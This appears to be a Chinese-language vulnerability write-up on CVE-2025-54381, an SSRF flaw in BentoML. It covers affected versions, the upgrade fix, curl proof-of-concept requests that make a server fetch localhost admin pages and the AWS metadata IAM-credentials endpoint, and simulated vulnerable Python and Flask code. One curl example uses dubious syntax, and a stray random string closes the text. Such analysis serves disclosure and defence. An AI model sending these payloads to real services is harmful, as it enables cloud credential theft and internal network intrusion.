项目标题与描述
CVE-2025-54381 – BentoML高危SSRF漏洞分析
CVE-2025-54381是一个存在于BentoML(一个用于打包、运送和部署机器学习模型的Python框架)中的严重服务器端请求伪造(SSRF)漏洞。该漏洞允许攻击者通过构造特定的URL请求,使受影响的BentoML服务端向内部网络或云元数据服务发起未经授权的HTTP请求,可能导致敏感信息(如IAM凭证、服务密钥等)泄露。
- CVE ID: CVE-2025-54381
- 发布日期: 2025年7月30日
- 发现者: Wiz Research Team
- 报告至: GitHub Advisory Database & NVD
- 严重等级: 严重
- CVSS v3.1 分数: 9.9 / 10
功能特性(漏洞影响范围)
根据漏洞描述,该漏洞的成因与BentoML框架的特定功能紧密相关:
- URL-based文件上传功能: BentoML的模型服务API支持通过URL接收文件输入,具体通过以下两种方式实现:
- Multipart Form Requests (多部分表单请求)
- JSON POST Requests (JSON POST请求)
- 服务端文件下载: 当接收到包含URL的文件输入时,BentoML框架会代表用户(即攻击者)向该URL发起一个服务端的HTTP GET请求以下载文件。
- 核心问题(漏洞点): 框架在发起这个服务端请求之前,未能对用户提供的URL进行充分的验证和过滤。这直接导致了SSRF漏洞。
安装指南(受影响的软件版本)
- 受影响的软件: BentoML
- 受影响版本:
- 所有从 1.4.0 到并包括 1.4.19 的版本。
- 建议: 使用受影响版本的用户应立即升级到已修复此漏洞的更高版本(1.4.20或之后)。
使用说明(漏洞利用方式)
该漏洞的利用关键在于构造恶意请求,诱骗BentoML服务器访问内部或受限制的资源。
基础利用示例
攻击者可以向部署的BentoML服务API发送一个特制的请求,其中文件输入字段包含一个指向内部服务的URL。
示例1:访问本地服务
curl -X POST "http://victim-bentoml-service/predict" \
-H "Content-Type: application/json" \
-d '{
"file_url": "http://127.0.0.1:8080/admin"
}'
这可能导致BentoML服务器访问其自身网络环境中的管理面板。
示例2:访问AWS云元数据
curl -X POST "http://victim-bentoml-service/predict" \
-H "Content-Type: multipart/form-data" \
-F "file=@(echo 'metadata');type=application/x-www-form-urlencoded" \
-F "file_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
这可能导致BentoML服务器访问云主机实例的元数据服务,并可能返回附加到该实例的IAM角色的临时安全凭证。
典型攻击场景
- 内部网络探测与信息泄露: 攻击者可以扫描服务器所在内网的IP和端口,访问内部的数据库管理界面、版本控制系统或其他未公开的Web服务。
- 云环境凭证窃取: 在AWS、GCP、Azure等云环境中部署的BentoML服务,可能通过访问云供应商特定的元数据端点(如
169.254.169.254,metadata.google.internal)而泄露实例的访问令牌或角色凭证。 - 权限提升的跳板: 获取到的内部服务访问权限或云凭证可能被用于进一步攻击,横向移动至更关键的系统。
核心代码
以下是模拟漏洞核心逻辑的简化代码,展示了BentoML在处理URL文件输入时未进行验证的关键步骤。
import requests
from typing import Dict, Any
import json
class VulnerableBentoMLHandler:
"""
模拟存在SSRF漏洞的BentoML请求处理器。
该类展示了框架如何处理来自用户的URL并代表其发起请求。
"""
def handle_json_request(self, request_data: Dict[str, Any]) -> bytes:
"""
处理JSON格式的POST请求。
从请求数据中提取`file_url`字段,并直接向其发起GET请求。
漏洞:此处未对`file_url`进行任何验证(如是否为内网IP、保留地址等)。
Args:
request_data: 包含`file_url`等字段的JSON数据。
Returns:
从目标URL获取到的文件内容。
"""
# 从用户请求中直接获取URL
target_url = request_data.get('file_url')
print(f"[!] 正在按用户请求访问URL: {target_url}")
# 关键漏洞点:未经验证,直接向用户提供的URL发起请求
response = requests.get(target_url, timeout=5)
file_content = response.content
print(f"[+] 成功从 {target_url} 获取到 {len(file_content)} 字节数据")
return file_content
def handle_multipart_request(self, form_data: Dict[str, str]) -> bytes:
"""
处理Multipart表单请求。
逻辑与JSON处理类似,同样缺少URL验证。
Args:
form_data: 包含`file_url`字段的表单数据。
Returns:
从目标URL获取到的文件内容。
"""
target_url = form_data.get('file_url')
print(f"[!] 正在按用户请求访问URL: {target_url}")
response = requests.get(target_url, timeout=5)
return response.content
# 模拟攻击者利用漏洞
if __name__ == "__main__":
handler = VulnerableBentoMLHandler()
# 攻击载荷1: 尝试访问AWS元数据
malicious_payload_aws = {
"file_url": "http://169.254.169.254/latest/meta-data/"
}
print("攻击示例1:访问AWS元数据端点")
# handler.handle_json_request(malicious_payload_aws) # 实际攻击中会执行
# 攻击载荷2: 尝试访问本地管理服务
malicious_payload_internal = {
"file_url": "http://localhost:8080/secret-admin-page"
}
print("\n攻击示例2:访问本地内部服务")
# handler.handle_json_request(malicious_payload_internal) # 实际攻击中会执行
print("\n漏洞原理:上述代码直接信任了用户输入的`file_url`,导致服务器可被用作代理访问任意地址。")
# 另一个视角:展示如何从API层接收参数并传递到漏洞函数
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/api/predict', methods=['POST'])
def predict():
"""
BentoML服务API的预测端点。
根据Content-Type,将请求分发给不同的处理器。
此流程本身暴露了未经验证的URL输入点。
"""
if request.content_type == 'application/json':
data = request.get_json()
# 直接将JSON数据传递给存在漏洞的处理器
file_url = data.get('file_url')
# ... 其他处理逻辑 ...
# 最终会调用类似 `download_file_from_url(file_url)` 的函数
return jsonify({"status": "processing", "input_url": file_url}), 202
elif 'multipart/form-data' in request.content_type:
file_url = request.form.get('file_url')
# ... 其他处理逻辑 ...
return jsonify({"status": "processing", "input_url": file_url}), 202
return jsonify({"error": "Unsupported content type"}), 400
if __name__ == '__main__':
app.run(debug=True)
代码注释总结:
- 第一段代码 (
VulnerableBentoMLHandler) 核心展示了漏洞发生的直接位置:在handle_json_request和handle_multipart_request方法中,直接从用户输入获取target_url,并调用requests.get()发起网络请求,中间缺少了对该URL的白名单验证、黑名单过滤(针对内网IP、元数据域名等)或协议限制(如仅允许HTTP/HTTPS)。 - 第二段代码 (
Flask app) 展示了漏洞如何通过Web API暴露出来。用户通过向/api/predict端点发送POST请求,即可将恶意URL传入系统处理流程。 - 漏洞的本质是过度信任用户输入。修复方案通常是在下载文件前,增加一个严格的URL验证层,例如使用
urllib.parse.urlparse解析URL,检查其hostname是否属于内网IP段或已知的危险域名(如云元数据端点),并拒绝此类请求。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAMFeIfFjMVN8vEBCGy26QDQ